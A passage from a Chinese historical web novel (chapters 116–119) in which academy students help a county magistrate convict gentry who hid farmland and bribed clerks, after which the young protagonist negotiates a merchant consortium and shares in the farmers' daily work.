“我蠢吗?咱们是一条船上的蚂蚱,你们出事了,我能逃得了!先前孙念远被抄了家,我就跟你们说了,老实本分点!把自己屁股擦干净!你们倒好,别人诈一下,就屁颠屁颠跑到我这来!” 高志远大吼一声:“蠢!大蠢货!” 眨了眨眼睛,咽了咽口水的三人,一时间都被吓住了。 杨员外,唇瓣嗫喏,似乎也是反应过来了,随后身子一个踉跄,差点摔倒,手勉强扶住桌子:“遭、遭咯!咱们的账!” 一听这话出口,高志远顿时脸色惨白,抿着唇,手发抖着,缩进衣袖里。 “现在怎么办!” “什么怎么办?咱们现在被围在这,还能出去不成?” “那就等死吗?!” “我看,倒不如直接冲出去,就说咱们不干那国策了!” 高志远一听这话,眼前发白,只觉心脏骤的一阵剧痛,随后天旋地转! “哎、哎!老高!你可不能晕啊!都什么时候了还装死! ”几个人是手忙脚乱,拽住要摔下去的高志远。 只见高志远脸色白的跟张纸一样,看着三颗脑袋来回晃悠,手指颤抖着,指了指。 开口道:“想办法……把,账,毁了!!!” 但也就在他这话刚出口,就听门外,一阵嘈杂声音响起,随后,家丁哎哟惨叫一声,摔进了门。 “轰——!” 踹开大门,走进来的张智林,皱着眉,看着几个人,语气平静:“来人,带走。” 这话一出口。 高志远,直接厥了过去。 赵员外等人,一个哆嗦。 完、了! 杨府、陈府、赵府,被查抄出来的账目一箩筐,都装进了箱子里,被衙役们带着搬上了车。 这会儿紧赶慢赶的周盈,姗姗来迟。 见着屋里头,一人鼻青脸肿,一人脸色尴尬。 不免有些迟疑:“这…怎么一回事?” 屋里两个人对视了一眼,冷哼一声。 先开口的是张岱:“我……呃,我也不清楚,我一进门,就看到天之在打衡之。” 周盈闻言更惊讶了,不是,让你们查个事,怎么能闹成跟自己人打起来的? “哼!都是殷汝麒,他公报私仇!我看他就是看我不顺眼,我刚进门,他就朝我打了一拳,周师弟你看,我这脸上!破相了!” 殷汝麒闻言,这会儿神情更尴尬了:“我这……这不是没看清吗?谁想得到,你也翻墙进来了呢?” “哦!所以你就下手这么狠?!” “……” “那梯子你放的?” “嗯,本来想着拿完账就爬出去,谁知道,发生了这档子事情?”殷汝麒说着说着,声音越来越小了。 赵瑜气的嘴角一抽,结果疼的龇牙咧嘴的,帮他擦着药的同窗见状,强忍着笑:“你别动了,先把药擦完。” 听了两个人你来我往的一番话,周盈这会儿是明白过来了,感情是闹乌龙了! 哎…… 看着两个师兄衣衫不整,头发都有些乱糟糟的样子,周盈轻咳一声,好歹是把笑给忍住了。 “张师兄,账都清点了吗?” “早都搬去县衙了。” 周盈颔首:“这就妥了,也该把这件事情收个尾了。” 他转头:“几位师兄,走吧?咱们去县衙看好戏?” 一听他这话说出口,赵瑜眼睛一亮,连自己那点伤都顾不上了!自己这费劲巴拉的,还不是为了把事情查个水落石出! 这可都是他们的辛苦换来的成果,怎么能不去看呢! 他猛站起来,结果牵扯到脸上的伤,不免倒抽一口凉气。 殷汝麒见状,也呵呵一笑……欸这事情闹的。 县衙大门口,此时忙着把几家账册搬下来的衙役进进出出。 站在一旁的郭嘉看着,心想总算是把事情办妥了,就等待会儿升堂了。 此时从门口走出的一个中年男子,脸色有些发白,似乎是心不在焉般。手上账册白纸黑字,写的都是田产相关,他心里松了口气。 应……没事吧? 也就在这会儿,赶到的周盈等人下了马车。 116.第 116 章 “怎么样?” “喏,都在这了。” 郭嘉看了一眼跟过来的二十几个人,不免的一愣:“你们这劳师动众的,过来看戏呢?” “那是!郭师弟,这可是咱们潘岳私塾第一次群体出动!我跟你们说,连佃农我们都带来了!要是等会儿有用,还能当做人证呢!” 有不少学生,是被分配到去看顾佃农的任务的。本心里还是嘀咕着,这样的差事,实在没有赵瑜一伙人的有趣。 但在看到那些吃不饱饭,还要在鞭子鞭挞下继续干活的农户们,一群学生也就都闭上了嘴巴。 再看赵瑜这会儿鼻青脸肿的……呃,其实看顾佃农的任务,也挺好的! 惊堂木“啪”落下,跪在地上的四个人,不由得都哆嗦了一下。 为首的高志远,这会儿脸色惨白,目无光泽,仿佛是被吸走了三魂七魄一般,呆愣愣的看着地面。 进来的一群学生围在门口看着。 周盈走到一侧坐下。 “高志远!尔等私瞒田产,违逆国策,你们还有什么说法!” 高志远没有说话。 反倒是他身后那几个人,顿时吓得往前一爬,手指着高志远,直接开口道:“张、张大人!我们都是跟着高志远混的,是他先提出的法子,咱们这才昏头了,跟着一起干!” “是啊!这事情…不关我们的事啊!” “张大人,咱们能把田补上,真的!” 听着三人这般狡辩,学生们都翻起了白眼了:“我呸!前天咱们去查账,你们的威风劲儿呢?拿出来啊!” “就是!小人之辈!果真不堪!” 听着几个学生骂,张智林也没开口阻止,只见那高志远,突然笑了一声。 眼睛瞪得血红,转头,猛朝着赵员外,阴恻恻一笑:“你们以为,供出我,你们就能跑得掉!笑话,天大的笑话!” “你可别忘了,你们贿赂胥吏的那些账!咱们都记着呢!” 此话如平地惊雷,炸的公堂顿时死寂。 随后,反倒是张智林,脸色猛地一变:“继续说!” 赵员外闻言,顿时目眦欲裂,朝着高志远扑上去,直接开始殴打! “砰——!” “畜生!” “啪!” “打死你个混账!” 紧接着,全乱套了。 张智林手上惊堂木一拍:“拉开!” 周盈闻言,看向殷汝麒,对方眨了眨眼睛,随后才反应过来,低头朝着自己胸口衣襟摸了摸。 拿出那本账递上:“张大人,这是学生从赵员外府上搜刮出来的账本,上头记载的,却正是买通胥吏的支出银两。” 账目被呈上。 张智林这会儿心里也是悚然,为官多年,见过不少胥吏盘剥,勾结乡绅的事情,但未曾想,他手底下,竟出了个如此贪墨的巨贪之辈! 张智林脸色铁青,合上账,刚要开口说什么,只听外头一阵嘈杂。 “何事吵嚷?” “回大人,是林账房。” 说这话的功夫,两个衙役架着脸色惨白,手脚瘫软的中年男人走了进来。 那林账房见公堂跪着的几个人,顿时别开了脸去。 张智林见状,眯起眼,这个账房他是知道的,平日负责县衙账册、税目等问题,见对方这样心虚的表情,不免,心里也有些定夺了。 “林账房,何事,如此慌张?现在是办差的时间!” 那林账房跪地,颤抖着,也不敢开口说话。 一帮学生见状,顿时就有人道:“我看是心虚了。” “就是!天之,你那本账上写了人名吗?” 被问到的殷汝麒点头:“有,翻一下就知道了。” 眼看着林账房一个发抖,呜呼一声,皱着一张脸:“大人、大人!小的知错了!小的不过是为了…拿点外快,补贴家用啊!是赵员外、高员外等人出的钱,求大人开恩!” 这话一说出口,赵员外等一伙人,眼前顿时一花,耳间轰鸣一般响起! 完了,完了! 要是只差田产的事情,还则罢了! 偏牵扯到了勾结胥吏! 这就不是民事可以了之的事情了!这是牵扯到了贿赂贪污……这要杀头的! 赵员外顿时汗如雨下,咽着口水:“这、这……你胡说!我什么时候给你钱了!” “就是!小小账房,是谁叫你这样诬陷人!”杨、陈二人这会儿脸上惊慌不已,指着林账房就开始破口大骂。 场上是一片鸟语花香。 听的赵瑜为首的一帮学生,心里那是真解气!哼!叫你们这帮小人,之前神气吧!现在好了,出大事就开始狗咬狗? “张大人,我看这些人不会老实就范,此事牵扯到贪污贿赂,决不能就这样算了!”开口的是殷汝麒,他冷着一张脸,拱手间一指。 “林账房总管县衙账册,若是他想动手脚,不知道有多少农户要被盘剥!又有多少乡绅,从中得利!” “天之说得对!咱们几个学生,刚还去高员外家的田里看过,那些隐瞒未报的佃农,瘦的跟杆子似的,吃不饱,没了力气还要干活!” “不干活就挨打!这都是什么道理?!这帮乡绅仗着自己知道几个字,或有点功名在身,反倒是把书全读到狗肚子里去了!” 这话骂的凶了,但潘岳私塾的一伙学生觉得无比解气!有人读书是为了明智通理,有人是为了治国齐家,但有的人,却反倒是拿来往下,欺压老弱孤寡! 这样的人,实在羞与之为伍! “就是!咱们读书人,看着这些人,就觉得晦气!” “是极!学生恳请,抄家处置,以儆效尤!” 眼看着一帮学生愤愤不平,周盈反倒是嘴角微微上扬,心里对这次的实践,倒也还算满意。 收获颇丰,成长颇大啊。 张智林听了这些话,颔首再三,只开口道:“高、杨、赵、陈四人,贿赂胥吏,隐瞒田产,与国策为敌,欺上瞒下,鱼肉佃农,此实非人所为!乃畜生所为!” “今,牵扯甚多,本官要彻底彻查此事!将县衙查明白、查清楚了!到底是谁,在我的眼皮子底下,搬弄是非,坑害百姓!” “四家田产尽数剥于名下佃农,其余家产充以 国策库用,以平民愤,以清公道!” 他说着,手拍惊堂木,紧接着公堂下,几个人顿时瞪大眼睛,哀嚎惨叫,惊呼声音一片! “大人!大人小民冤枉!” 听着几个人鬼哭狼嚎的劲儿,周盈愣着一张脸,点了点头,这事办的不错,不但把高志远拿下,还连带着,把杨、赵、陈三个人也都全捋了。 一帮学生听到这话,顿时脸上惊喜:“我们成功了!” “太好了!这事情总算是办成了!” “郭师弟!你看咱们办成了!” 郭嘉闻言,挑眉一笑:“不错,做的很好。” 虽说有冒失,有太想当然,有纸上谈兵的,但最后大家齐心协力,办成了一件事情。 从中得到了成长和成就,这就是好的。 一群师兄们欢呼起来,心里那得意的成就劲儿,满满当当溢在了所有人的脸上。 事情办妥,一行人也就说说笑笑的回了劝农司。赵瑜的脸上伤势,看着吓人,实际上殷汝麒打的时候,都是用那一沓一沓的账目砸。 也就没有什么真见血的伤口。 擦着药,他龇牙咧嘴的,凉气一口一口的抽。 看的殷汝麒也是不太好意思:“哎…这不是没看清吗?要不我帮你做几天作业?” “嗯?!那敢情好!”一听这话,赵瑜顿时眼睛就亮了。 “……”他能不能收回这句话。 走进来的几个学生,刚去了一趟高、杨、赵、陈四家的田地。安置佃农的事情大概还得忙个几天。 但所有人这会儿都干劲满满的,半点都没有之前那种不想干,但又不得不干的死气沉沉。 毕竟这可是他们一手办成的事情! “天之,你是没看到,那些佃农多可怜,咱们给个馒头,都忍不住跪下拼命磕头,看的人真的是…于心不忍。” “常言‘凡治国之道,必先富民。民富则易治,民贫则难治也。’现在能把这些田分给农户们,也算是我们,为国策出的一份力了。” “我说小师弟们,怎么这么看重这个国策。以前是不理解,现在自己亲身经历了,才明白,这事情办妥了,对百姓有多好。” 一群学生嘀嘀咕咕,说的话也不免让大家陷入深思。 走进来的周盈见状,不由得笑道:“师兄们这是怎么了?” “周师弟!”有人惊喜。 “我们在谈高志远案子,先前见了那些农户面黄肌瘦的,好在不过几天,田就都能分下去,这样一来,等秋收有了收成,日子应该也就好过了。” 听到这话,周盈眼里闪过一丝欣慰:“是,师兄们有这份心,农户们都会念着的。” 一人不太好意思:“我们…也没出太多力,都是天之、衡之他们在做事。” “哎!可别这么说,咱们好歹都是潘岳私塾的学生,一个团伙的人,都出了力的!”殷汝麒直接开口反驳了。 大家伙闻言也都笑了起来。 “好了,今天这案子办的圆满,这都傍晚了,走吧?我让劝农司做了饭菜,干脆一起吃一顿?” “行!走走走,我都饿了。” 117.第 117 章 四月底。 陆陆续续间,农户们都已经将该种下的幼苗全都种了下去。 此时春色盎然,大地新生,草长莺飞间,便见田头遍野都是郁郁葱葱。 蹲在田里忙活的一群农户,腰间别着一个小篓子,手往里一掏,就拿起一株根系裹着泥土的玉米苗。 走在田间的周盈,看着这副场景,不免颔首:“劝农司可查完账目了?” 手上拿着笔,唰唰唰写着什么的赵瑜,闻言间抬起头:“嗯!昨天刚清点完呢,前些日子该分的田、该发的粮,还有分出去多少苗,都记录在案。” “咱们的人每天都去各地审查,把每天的进度都记在账上了,要是出错,肯定马上就去查了。” 他说着话,手上毛笔依旧不停,反倒是瞄了一眼一直往前走的周盈。 虽还是八九岁的少年,但往上窜的身子骨,修长挺拔,一身素白衣裳,披着素白月纱,走动之间,清风一吹,衣袂飞扬。 如芝兰仙葩,又似玉树驻庭。 他脑子里想出这么些话,手上动作着,便直接记录了下来。 周盈看他动作不停,便也稀奇:“赵师兄这是在写什么?” 赵瑜闻言一笑:“我呢,闲着也没事,就想写点东西,这段时间的实践,学的也不少,干脆就把这些事情都记下来,当个小传,说不准什么时候……这书,还能沾小师弟的光,出了名呢!” 听他这话,周盈也跟着乐了:“这可是我的福气了。” 两个人走着走着,见前头农户推着小推车,便走到一旁让了让。 “多的事情也没了,把高志远一帮人捋了,现在那些人,都夹着尾巴做人呢,咱们查账查问题,他们是一万个配合。” “天之方才还跟我说,我们这劝农司,都有督察院的威风了!” 周盈莞尔一笑。 两人转了一圈,这便回到了劝农司里头,见一旁蒙学班读书声朗朗,心中不免感慨。 “再过几个月,蒙学班第一批学生,也就能进潘岳私塾读书了。” “到时候,他们只怕还得叫咱们一声师兄呢。” 郭嘉脚步匆匆,进了劝农司,见二人站在太阳底下,不免稀奇:“傻站在这做什么?” “哦对了,娘说了,让你有空回一趟家。” “什么事情?” 郭嘉皱眉:“好像是……杨业他爹,说是想把孩儿笑开到南直隶去,到时候玉米番薯酿酒赚的钱,咱们也能算着分一分。” 嚯!这是开始铺展商业板块了。 周盈心里也有些惊讶:“行,我这就回去一趟。” 周府。 朗读声声入耳。 郭怡站在前头讲课,底下的学生们则抬着头,目光铮亮的看着自己的夫子。 从外头经过的杨岳等人,不免有些愕然。 周瑶见状,哈哈一笑:“哎,我这酒坊里头请的都是些孤儿寡母的,多的呢,也是家里条件不太好的,这都是想着,这些孩子们也是可怜。” “教她们读点书写点字,将来长大了,也能帮我算算账的。” 杨岳闻言,颔首跟着笑了笑:“周掌柜,这是要比咱们都先一步,都开始培养起自己的算账班子了!” “是啊!早些年经营起来的孩儿笑,名声连咱们这些从南直隶赶过来的人,都听到风声了!” 几个人这会儿有说有笑的,谈的全都是些生意上的事情,对周瑶都客气的很。 周瑶眯着眼睛一笑,走进屋里,让婆子上了壶茶,几碟点心。 “来,几位掌柜坐。” “我儿这会还在劝农司,要不了多久就能赶回来了,咱们可以先谈谈,关于南直隶开设孩儿笑酒坊的事情。” “哎,好。” 六七个人就这么落了座。 杨岳抿了口茶,想了想,开口道:“也不是什么新鲜事情,年前,周贤侄说是要建个新商号,咱们几个老头子商量了,觉得这事情也就早点定下。” “是极,周贤侄聪慧,将国策之事交给咱们办,也是信任我等。周掌柜也是商贾人,咱们做生意,讲究的也是个诚信买卖,答应的事情,自然是要做到。” 开口说话的人呵呵一笑,捋着胡须,黑眸里头神采奕奕的,他看了在座众人一眼,继续说:“更何况,周贤侄帮了咱们那么大的一个忙,已经是天大的恩情了。” “如今,反而带着我们一起赚钱,分好处,这就能看出,周贤侄为人端正踏实,这样的人啊,将来成就,不可估量。” 一听几个人夸赞,周瑶心里也是感慨再三。从孤儿寡母,无人待见的周寡妇,一步步走到现在人人吹捧的周掌柜。 其中酸甜苦辣,也就只有她知道了。 “我儿说的事情,我这个做母亲的,自然是支持的,但不知,诸位对开设商号的想法是怎样的?” 杨岳开口道:“这事情,也有个粗糙章程了。是说,借孩儿笑的名声,在南直隶直接开一家最大的酒坊,这样一来,先把名气打出去,其余的制品,咱们也就能借着孩儿笑的牌子卖,就要轻松些。” “现在南直隶,已经有不少人知道周贤侄的大名了,你们这个孩儿笑酒坊的牌子,也算是江南门面了。” 周瑶闻言笑了笑,带着些褶皱的眼尾,平添几分精明,她反倒是继续追问:“杨掌柜这法子倒也不错,只不过,这来往漕运打点、利润分成、还有税目缴纳等事情,都需细细商讨。” “我看,急也是急不得,先等我儿回来吧。” 她这话说出口,几个人也是面面相觑。心道,这周掌柜,说话好听,看着也好相处,实则真谈起生意来,还真是滑不溜秋的呢! 果然,能把酒坊经营的这么大,也确实不好糊弄啊。 也就在一群人商讨的时候,周盈提着衣裙走了进来。 “娘,什么事情,这么着急把我叫回来?” 他一进门,就看到杨岳等人坐在大堂里,心里知道了事情,这会儿便直接拱手行礼:“杨伯父,小侄刚从劝农司回来,失礼了 。” “哎!什么话!”杨岳摆摆手。 另一个笑呵呵的商贾开口道:“周贤侄,咱们登门拜访,也不是为了别的事,专是为了开设商号,怎么把秋收后的玉米番薯,卖出去。” 听着这话,周盈走到一旁,掀起衣裙坐下:“好说,这事情既然诸位想谈,那么今日谈一谈也行。” “我倒是有个想法,既然,商号专为出售国策所推的番薯玉米,那么咱们就不能单以商办为主。” “没有官府背书,将来张县令调任走,咱们怎么办?” 这话说的在理,也说到了点子上。杨岳等人不免点头。 且听周盈继续说:“参与商贾则按出资比例占六成,劝农司出一成。我们周家出品牌,出配方,又带着诸位赚钱,占个三成,大家应该没有太多疑虑吧?” 关于怎么让劝农司和商号相互督察的问题,周盈之前也已经想了挺久的,如今杨岳等人一提出建设商号的事。 周盈脑子一转,倒想着,既如此,不妨让劝农司也入个股,这样一来,监督和协调的权力,也就名正言顺了。 听到他这么提出,几个人一开始都没说什么话,屋里头也就都安静了下来。 周盈拿起点心咬了一口,咀嚼间,偷偷朝着一旁的周瑶开口:“娘,太甜了。” “嗯?娘尝尝。”听他这么说,周瑶也稀奇了,手拿了一块桂花酥塞进嘴里。 砸吧了一下嘴巴,倒觉得还好,应是做的时候,换了个配方,糖放多了些。 “娘给你换一盘。” “不用了,甜点,吃进嘴里,心也甜。”周盈接过盘子,笑眯眯开口说了一句。 把周瑶哄的,无奈一笑。 杨岳这会儿心里也是算好了一笔账,但是面上不显,只是开口道:“这事情,咱们先继续谈,再谈谈利润怎么分。” 听他这么说,周盈喝了口水。 “咱们核心的卖点有哪些,应是:玉米酒、番薯酒、番薯干、番薯粉、玉米面、玉米碴,将来研发新的,还能再卖。” “这样一来,我看每年利润先统一划去该扣的税额,咱们也就不一个一个去交了,这样每家都得记账,查起来费事情。” “扣完该扣的税,净利润七成按比例分,二成作为运作、漕运打点之类的支出,一成则留给劝农司,作为监督经费。” “账册一式三份,一份存商号,一份存劝农司,还有一份存官府衙门,咱们每个月小查,每季中查,年末大查,干净明了一些。” 他说的头头是道,说到这里,话头一停,看着屋内几个人的神情。以杨岳为首,目光间带着几分深思。 “这……以商号一同交税,是否不太可取?咱们光是打点钞关,这都得花费不少银子呢。” 有人又道:“是啊,这样说来,实在是不合适。” 周盈闻言点头,一笑间:“不是说要你们缴商税,是以田赋为主。既然劝农司的农户们交税,统一由劝农司代缴纳,咱们商号也不能不跟上。” 118.第 118 章 “事情只要诸位答应,张县令那也就是谈一谈的功夫。我看现在刚查完胥吏贪墨的事情,咱们山阴县,这会儿也算是政治清明,交税问题,只要咱们统一一下,那些额外支出的费用,也能尽量避免。” 这事情说的,是关于打点胥吏、地方官员等的额外花费。 钞关干系牵扯太多,但田赋这玩意儿,田就在本地,怎么收,如何收,就是地方官一句话,也是底下胥吏怎么做的问题。 杨岳一下子听出其中的意思,眉头一挑间,追问着继续开口道:“贤侄此言…可知干系重大!咱们也非是不愿,但田赋事关朝廷。” 这事情一旦插手,那其中的利害可就多了去了。但对于商贾来说,这样一来,避免的额外支出也就多了。 其一,打点胥吏的费用少了。 其二,官僚的层层盘剥也就避免了。 其三,这些成本省下来,也是一笔可观的节流。 他们会心动。 但心动归心动,这事情,能不能在地方办成,还是个问题。 “此事…我看,还得找尔弢再细细商谈。” “这是自然,现在才四月份,怎么,也得等秋收后,看到收益了,才能继续谈利润分成嘛。” “至于别的…”周盈喝了口水,刚那块桂花酥实在是甜的他嘴巴有点难受了。 “比方说,第二年的荒田开垦问题,到时候,咱们商号出钱,劝农司出人,使官府出胥吏,盯着办,办成了谁盯得田开垦的好,收成好,盯着的胥吏也就能从这原先的二成利润中,分到一定额度的好处。” “杨伯父,咱们做生意的,不就是为了多交几个朋友吗?朋友多了,还怕事情办不成?” 杨岳闻言,眼皮子猛跳,直接坐起身来:“贤侄,这是公然贿赂!” 周盈闻言一笑:“谁说是直接从商号抽钱?咱们这钱,本就是拿去打点漕运、运作商号的额外支出,给劝农司一成、两成、三成,这都是支出,至于拿去用什么,只需要官府拟定一个规章,从劝农司的帐走,也就正规了。” 屋里几个一听这话,心脏都砰砰直跳的!太吓人了!杨岳低下头,手拿起杯子,猛喝了一口茶,思忖之间,也觉事情太大。 光是他们几个,只怕是难办! 还是先……找张耀芳等人商量商量,看看能怎么谈吧。 想到这,杨岳抬头,语气也委婉了点。 “我看,事情先慢慢来,干系太大,咱们也要先回去商量商量再说。” “是极是极,贤侄这话说的我,心都跳到嗓子眼了!” 周盈笑了笑,点头:“这是自然,我也不着急,如果诸位担心,就等秋收后,再谈也是来得及的。” “哎!好。” 送走几个人,周盈叉腰叹了口气。 “吾儿叹什么气啊?叹老了都。” 周瑶笑眯眯的,见自家儿子脸耷拉了下来,手上端着桂花酥往前递了递:“饿了吧?这赶回来,我看你都出了些汗。” “不吃了,太甜了,娘你这糖放多了,喇嗓子。”周盈撇撇嘴,摆手拒绝。 “嘴刁。”周瑶看他不吃,拿起一块,自己吃了。 六月初。 天气渐热。 来回巡视的一批农户,见田头的番薯玉米苗抽条,生长速度极为喜人,不免的,流着汗水的脸上,也挂起了微笑。 热的有些脸颊发烫的学生们,这会儿坐在田边,手上却拿着一沓功课,奋笔疾书中。 “咱们在劝农司忙!夫子怎么还非得每天布置作业!” 有人嘴里嘟囔,语气带着些许不满。 “别贫嘴了,等月底小考,夫子要是看着咱们成绩下滑了,准得罚我们!” 学生们呜呼哀哉。 原先白净的脸上,这会儿都晒黑了不少,连带着面容都憨厚了几分,穿上一身程子衣,看起来颇有几分滑稽之色。 也就这几个月的实践,把一帮潘岳私塾的学生,从原先两耳不闻窗外事,一心只读圣贤书的笨书生,给逐渐的调教成了懂算账、懂查账、懂办事、懂想办法的做事者。 一帮人虽说是哀声连连,但看着农田里,逐渐窜高,渐渐都勾着他们胸口的玉米杆子,不免的也露出了几分笑容。 “我看这玉米长得不错,说不定秋收的时候,还能给咱们一个惊喜呢!” “哎?你们说,到时候,咱们是不是还能在这玉米田底下,乘凉纳风?” 有学生闻言,皱起眉头,有些嫌弃道:“你要在这喂蚊子,你自己一个人喂,可别拽上我们。” 啧……咋这么会破坏气氛呢! 讨人厌。 劝农司内,一帮人捂着鼻子,差点没被小推车上,那所谓的“肥料”,给熏晕过去! 远远路过的郭奉孝,捏着鼻子,光看那黄汤一般的浓稠液体,便能看出这“金汁”威力有多大了。 劝农司边上还有些空地,周盈想了想,干脆就在这块地方弄了个小农场,养养家禽什么的,到时候,也能给农户们分分。 因此,这些“金汁”,有不少都是这群家禽贡献出来的。 走进屋,左边几张大桌子上,这会儿皱眉算账的几个学生身边,坐了三两个农户。 看起来面容憨厚老实,但手拿着账本的时候,便眯起了眼睛,稍稍抬起账本。 看的慢,却也看的仔细。 学生们看三页的功夫,他们才只能刚看完一页。 但他们查过的账,却很少会出错。 一伙人见郭嘉进屋,不免好奇。 “郭师弟?怎么有空来劝农司?” “我过来走走,看看有没有什么问题。刚从外头回来,出了一身汗,现在天气是越来越热了。”攀谈着,他走到一旁倒了杯水。 “汝瑛呢?” “周师弟刚出去巡田了。” 一听到这话,郭奉孝就知道,这大卷王是闲不住,没事干自己找事干去了。 无奈摇头,心想着……人跟人的精力差距,怎么能这么大呢? 潘岳私塾的一群人,光是走完一家的田,那都累的半死。 但周盈这家伙,那可谓是生龙活虎的!每天早上卯时五刻准点起,练一个时辰的身体。 吃完早饭就马不停蹄来劝农司看一眼,见蒙学 班的课教的不错,心满意足了,就先去郭府的田看。 看完去前孙、高、杨、陈、赵家的田亩,后去杨、张等其余参与国策的商贾乡绅地皮走一圈。 总归是……一天下来,只要没出什么事,准能把这条路线走一遍! 郭奉孝跟过一次,走到一半,没差点把他累瘫! 太恐怖了! 上辈子要是跟这样的人当同僚,那不得了了,自己可就别想点卯翘班,偷懒耍赖了! 好在是这辈子,当的师兄弟! “嗯?你们怎么都在这?” 刚走完上半场回来的周盈,一看屋里几人围在一起,不免也有些好奇。 “算账呢,周师弟,前些天刚发下去的农具,这钱还从国策库抽吗?” “对了,我看有些农户家里头,好像是自发的买了些别的肥料,咱们这个钱给补上吗?” 郭嘉叹了口气:“这人刚回来,你们不能给他清闲点吗?” 被说了一嘴的几个同窗师兄们,撇嘴:“谁叫周师弟是咱们劝农司的掌事人呢?” “郭师弟,我看你整天都懒在屋里头,也不帮着周师弟出去干干活。” 郭嘉“嘿”了一声,语气带着几分哂笑:“哎哟,这是只顾着心疼你们周师弟了,看来我这个郭师弟,还真没半点分量了。” 听着这群人贫嘴,周盈忍俊不禁地摇了摇头。 查完账的几个农户也没闲着,听着年轻人拌嘴,看了一眼,似乎是在审时度势。 “小、小青天!这是今天清点的账目,您看看有没有什么问题?”还是林三叔站起身,拿着刚盘完的账走了过来,弯腰间,将账递了过来。 周盈闻言拿过来一看,字迹虽有些歪歪扭扭的滑稽,但一行一行,陈列分明,一目了然。 他看了一眼,也没发现什么问题。 朝着林三叔看过去,就发现对方脸色有些不自在,不免笑道:“你这些天一直在帮着查账,我看也没出过什么纰漏,这事情办的……可要比县衙的那些帐房先生好!” “哎!这事情…也是咱们的本分,毕竟事关田里头的事情,咱们见着,自然也是愿意盯紧些的。” 林三叔闻言也跟着憨厚笑了笑,这些天的日子啊,过的他简直是想都不敢想! 原先他是高志远名下的佃农之一,结果“小青天”们,平日里也就指望着种地吃口饭,那高志远非打即骂,为人刻薄。 林三叔过的勉强饿不死,却也好不到哪去,本想着日子也就这样了。 结果官府一纸公文下来,教他们改种玉米番薯,还免费给他们借粮。 后来的事情……县里人反正也都知道了。 “小青天”们,不但让官府查抄了高志远的田产,还把这些田产全都分给了他们这些佃农! 这样的事情,他林三叔,从出生就没听过啊! 这真是菩萨再世了。 “小青天教咱们读书识字,我这把老骨头…学起来也慢了,但看着我那女儿,如今在郭夫人的班里,渐渐也会了写自己的名字,还会帮着我做点简单的账,这份恩情,咱们这些农户,哪里还得清!” 119.第 119 章 他说着话,眼泪水都要顺着脸上沟壑滑了下来,看着几个学生心里也不是滋味。 “我听说了!潘岳私塾里出来的,都是帮着咱们的‘小青天’!将来,要是蒙学班的学生进了里头读书,出来的,还都能帮着咱们说话!” 林三叔说到这,憨厚一笑,擦掉泪水,手上接过账本:“话说多了,还请小青天勿怪。” 周盈摇了摇头:“教你们读书,也不单是为了你们自己,更是为了将来,能监察商号经营,这是必须要办好的事情,我不会说什么冠冕堂皇的话。” “不论是对你们,还是对我,只有把这件事越办越好,日子才能越过越好。” 林三叔听了这话点点头,周神童说话,总是那么实在!半点都不让人觉得不舒服! 也正因此,农户们都爱跟他多攀谈几句。 收拾好桌上的账本,几个学生们也都伸了伸懒腰,眼看着时间都到了中午:“走吧?先去吃饭?” 周盈点头,一群人也就陆陆续续的走出了门。风吹进窗框,偶吹开墨迹未干的账目,似是校对,也似是抚摸。 亦或者,是田间的那一声声卖力的吆喝,被这风儿听到了。 因此,也跑来看一看,今天的勤劳,又收获了什么? 院子里。 蒙学班的学生们也都下了课。 原先劝农司是不开设食堂的,但周盈和郭嘉一合计,感觉劝农司现今是什么都干了,干脆直接再开个食堂吧。 这样也方便一群办事的、查账的、读书的吃饭休息。至于农户们,可以将带来的饭菜热一热,偶尔的时候,劝农司会多烧些菜,分给大家一起吃。 县衙派来的几个胥吏、衙役,这会儿已经在里头吃饭了。 见周盈等人进来,忙站起身行礼:“周神童!” “哎,沈主簿,今日饭菜可合胃口?” 沈主簿闻言笑呵呵的,整个人看起来十分和气,他开口道:“这话说的!劝农司宰杀鹅鸭鱼肉,咱们要不是在这儿办差事,可还不能经常吃到这些呢!” “说的是!咱们也就是辛苦差事,讨个薄俸禄而已!” 话说得不错,毕竟这会儿官员俸禄都很低,对于这些胥吏来说,光靠俸禄吃饭过日子,那肯定是很辛苦的。 周盈点了点头,也就没再多说什么。 “怎么?你在想事情?”打了饭菜,坐到他边上的郭嘉凑了过来。 手上筷子一顿间,周盈则回过神:“我只是在想,到底是高薪养廉正确,还是底薪倡廉合适?” 郭嘉一听他这话,眉头一跳,心里明白了,这家伙吃着饭呢!鹅腿都堵不住他的活络心思。 “吃饭呢,你吃完再想不行吗?” 周盈也很无奈,他也不想啊,方才沈主簿一番话给了他灵光,自然而然就衍生出了一系列的念头。 “欸……要我说,人性最不可靠。光想马儿跑,又不给马儿吃草的,马都得饿死了,还能托人?” “噗……”周盈笑喷了。 郭奉孝这比喻,虽说离谱是离谱了点儿,但说的也确实在理。 两人一步步走到今天,靠的从来都不是那点儿仁义道德,所谓仁义是拿给人看的,道德是约束自己的。 但这两样,别人的,和自己的,也是全然不同的。 周盈想到这,嘴角虽微微上扬,眼里笑容却很淡:“你说得倒也不错。” “咱们这些年,难道还不明白这个道理?若想办成一件事情,靠别人,是一定不能成的,只有靠自己,才能成功。” “嗯!你这话我说的同意。”郭嘉咬了口闷笋,手上筷子动作间,反倒是叹了一口气。 “别想那么多,我看你现在的任务呢……就是快点吃完饭,去睡一觉,下午还得巡地呢!” 听他这么说,周盈莞尔,便也就不再想那些有的没的了。 中午吃完饭,有那么一个时辰,是所有人都不能打扰到周盈的绝对禁忌时刻。 这也是一帮师兄们规定的。 大家看着这个才八九岁的小师弟,瘦瘦高高的身子骨,却背了那么多担子,天天跑来跑去,解决这个问题,想出那个办法。 便是一天到晚都没个闲! 多少心里也看着难受,心疼的很。想他们这个年纪,还在玩泥巴遛鸟呢,哪有周师弟这么懂事聪明的? 因此,一帮师兄们想了想,不能让周师弟一直这样辛苦下去,得叫他强制休息一个时辰! 否则,迟早得累倒咯! 因而,劝农司里头,也专给周盈弄了个小房间,铺了个床。 进了屋,周盈不免的也有几分困顿,他确实也有点累了。总归是肉体凡胎,长时间的干活做事,确实消耗颇大。 更别提,他还都是脑力消耗的活。 躺上床,周盈闭上眼睛,也就在外头,吆喝、走动、交头接耳的,不算太响,但听着很安稳的声音中,睡了个午觉。 七月,正值酷暑。 蝉鸣声声,令人只觉烦闷。 这会儿的田间,也就只有早上、傍晚,会人来看看、走走。实在是大中午,天太热,人在外头站一会儿,都得中暑咯! 到底还是命重要点。 熬好的绿豆汤被分成了一碗一碗。 随后,就被一群农妇们,推着车,推到了田头。 “喝绿豆汤咯!” “来喝汤!别干活了,歇歇!” 